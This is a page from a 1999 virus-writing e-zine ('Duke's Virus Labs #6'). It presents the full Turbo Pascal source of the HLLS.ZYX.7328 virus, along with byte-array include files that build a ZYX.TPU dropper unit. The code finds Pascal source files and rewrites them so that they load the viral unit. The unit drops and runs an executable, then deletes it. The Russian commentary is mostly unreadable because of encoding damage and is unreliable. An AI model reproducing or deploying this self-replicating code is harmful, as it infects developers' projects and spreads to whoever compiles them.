- [Duke's Virus Labs #6] - [Page 09] -

HLLS.ZYX.7328
(c) by Duke/SMF

     : HLLS.ZYX.7328
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 04.04.99

   쬠 ᠤ 䠪 - 稥   PAS-䠩,  ⢨ 
PATH  :(((  HLLS.ZYX    ...    ⮩ 樨
 室 (筮 ਣ),  饭   HLLS.ZYX.7328
 ᮧ TPU-䠩   , ᢮ ᨫ !  ⮣ 
ॡ  ᨫ - 筮 ᪠  ᮡ   墮
TPU-䠩.  TPU-䠩 㤥   :
            +---------------+
            |  TPU |
            +---------------+
            |          |
            +---------------+
            |   墮 TPU   |
            +---------------+
       ... ᫨ ᦠ   - 㯠騪,
   墮  ⮣ 䠩 ਤ ।뢠 :((  ᦨ
ࠦ 䠩  ᪮쪮 㣮 :)
    ਢ 砥 ᨢ ࠭ ᯥ樠쭮  
    ࠡ  襩  䨪樨.  ਫ騩
  娢   쪮 ਡ㤪,   ᯮ짮 
ᮧ ⮣  -   ਣ  ᫥⥫ ;))

===== begin hlls3zyx.pas =====
{$M 20000, 10000, 40000}
program HLLS_ZYX_3;
uses dos;
const hs=$39b;
      ts=261;
      len=7328; { }
      head:array[1..hs] of byte={$I head.inc};
      tail:array[1..ts] of byte={$I tail.inc};
var Command,Compile:string;
    Comp:boolean;
    s:searchrec;
    mas:array[1..len] of byte; { ᪮ ࠡ  :)}
{--------------------------------------------------------------------------}
function UpStr(st:string):string;   {८ࠧ ப  孥 ॣ}
var n:string;
    i:integer;
begin
n:='';
for i:=1 to length(st) do n:=n+UpCase(st[i]);
UpStr:=n;
end;
{--------------------------------------------------------------------------}
function Find(name,what:string):boolean;{ ᮢ᪮  FIND}
{  ᨬ  ⢨ ⨫ FIND  ᪥}
var f:text;
    st:string;
begin
Find:=false;
assign(f,name);reset(f);
while not eof(f) do
  begin
  readln(f,st);
  if pos(what,UpStr(st))<>0 then
    begin
    Find:=true;
    exit
    end
  end
end;
{--------------------------------------------------------------------------}
procedure Infect(st:string);              {ࠦ 䠩}
const sn='$$$$$$$$';
var f,g:text;
    u,ip,w:byte;
    s:string;
    n:byte;
begin
u:=0;
ip:=0;
w:=0;                                     { ࠧ}
if Find(st,'ZYX') then exit;              {䠩 㦥 ࠦ}
if Find(st,'USES') then u:=1 ;
if Find(st,'PROGRAM') or Find(st,'IMPLEMENTATION') then ip:=1 ;
exec(Command,'/c copy '+st+' '+sn+'>nul');
assign(f,sn);reset(f);                    {뫨 ६ 䠩}
assign(g,st);
setfattr(g,$20);                          {﫨 ਡ}
rewrite(g);                               {१ᠫ }
writeln(g,'{$M 3000, 0, 3000}');
if (ip=0) and (u=0) then
  begin
  writeln(g,'uses zyx;');
  w:=1;
  end;
while not eof(f) do
  begin
  readln(f,s);
  if w=1 then writeln(g,s) else
    begin
    if u=1
    then if pos('USES',UpStr(s))<>0
         then begin
              n:=pos('USES',UpStr(s))+4;
              write(g,copy(s,1,n));
              write(g,'zyx,');
              writeln(g,copy(s,n,length(s)-n+1));
              w:=1;
              end
         else writeln(g,s)
    else if (pos('PROGRAM',UpStr(s))<>0) or (pos('IMPLEMENTATION',UpStr(s))<>0)
         then begin
              writeln(g,s);
              writeln(g,'uses zyx;');
              w:=1;
              end
         else writeln(g,s)
    end;
  end;
close(g);
close(f);erase(f);
end;
{--------------------------------------------------------------------------}
procedure MakeTPU;  {ᮧ TPU-dropper }
var t,v:file;
    c:byte;
begin
assign(t,'zyx.tpu');rewrite(t,1);
blockwrite(t,head,hs);
assign(v,paramstr(0));reset(v,1);
blockread(v,mas,len);
close(v);
blockwrite(t,mas,len);
blockwrite(t,tail,ts);
close(t);
end;
{--------------------------------------------------------------------------}
begin
findfirst('*.pas',$21,s);                 {饬 PAS-䠩}
if doserror=0 then                        { , 祣 ࠧ !}
  begin
  Command:='[HLLS.ZYX-3 (c) by Duke/SMF]';{ ࠩ⮢ ;) }
  Command:=GetEnv('COMSPEC');             {।塞   COMMAND.COM}
  MakeTPU;                                {ᮧ ZYX.TPU}
  end;
while doserror=0 do
  begin
  Infect(s.name);                         {ࠦ  䠩}
  findnext(s);
  end;
end.
===== end   hlls3zyx.pas =====

===== begin head.inc =====
(84,80,85,81,0,0,0,0,226,0,96,0,197,1,213,1,229,1,229,1,
229,1,229,1,0,2,15,2,21,2,110,3,0,0,59,29,0,0,104,0,
0,0,0,0,21,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,126,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,226,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
242,0,0,0,0,0,0,0,5,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,83,3,122,121,120,0,0,21,186,242,0,5,
1,0,0,0,83,6,83,121,115,116,101,109,0,0,10,196,5,1,0,0,
1,0,0,83,3,100,111,115,0,0,39,231,0,0,242,0,1,126,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,226,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,242,0,0,0,0,0,0,0,5,1,151,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,82,8,83,116,97,114,116,105,110,103,128,
0,8,0,0,0,187,1,0,0,6,13,4,0,0,0,0,0,0,0,0,
0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,38,
0,0,0,0,0,0,0,0,0,0,0,203,28,24,0,0,0,0,0,112,
0,80,0,72,1,0,0,0,0,3,122,121,120,0,0,0,0,3,68,111,
115,0,0,0,0,6,83,121,115,116,101,109,4,0,0,61,121,132,38,7,
90,89,88,46,80,65,83,0,0,0,0,71,1,0,0,0,0,6,0,0,
0,7,0,60,1,0,3,8,0,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,
25,25,3,0,1,1,1,2,3,3,2,1,3,3,2,2,2,2,2,1,
1,0,0,0,0,1,0,38,0,67,1,5,0,15,3,26,26,4,0,0,
233,168,28,122,121,120,46,101,120,101,0,77,90,160,0,15,0,114,0,31,
0,111,9,194,16,199,3,32,78,0,0,134,6,0,0,28,0,0,0,9,0,0,0)
===== end   head.inc =====

===== begin tail.inc =====
(30,14,31,180,60,185,0,0,186,0,0,205,33,147,185,0,0,186,0,0,
41,209,180,64,205,33,180,62,205,33,31,195,7,67,79,77,83,80,69,67,
10,47,99,32,122,121,120,46,101,120,101,18,47,99,32,100,101,108,32,122,
121,120,46,101,120,101,62,110,117,108,85,137,229,184,0,1,154,0,0,0,
0,129,236,0,1,232,0,0,141,190,0,255,22,87,191,0,0,14,87,154,
0,0,0,0,191,0,0,14,87,154,0,0,0,0,141,190,0,255,22,87,
191,0,0,14,87,154,0,0,0,0,191,0,0,14,87,154,0,0,0,0,
137,236,93,203,0,0,0,0,0,0,80,0,0,3,0,180,28,0,80,0,
0,171,28,186,28,0,80,0,0,11,0,189,28,16,48,160,1,0,0,45,
0,0,0,8,0,0,0,54,0,0,80,8,0,0,0,63,0,8,48,232,
0,0,0,68,0,0,80,8,0,8,0,73,0,8,48,0,1,0,0,78,
0,0,80,8,0,0,0,89,0,8,48,232,0,0,0,94,0,0,80,8,
0,19,0,99,0,8,48,0,1,0,0,104,0,0,0,0,0,0,0,0,0)
===== end   tail.inc =====
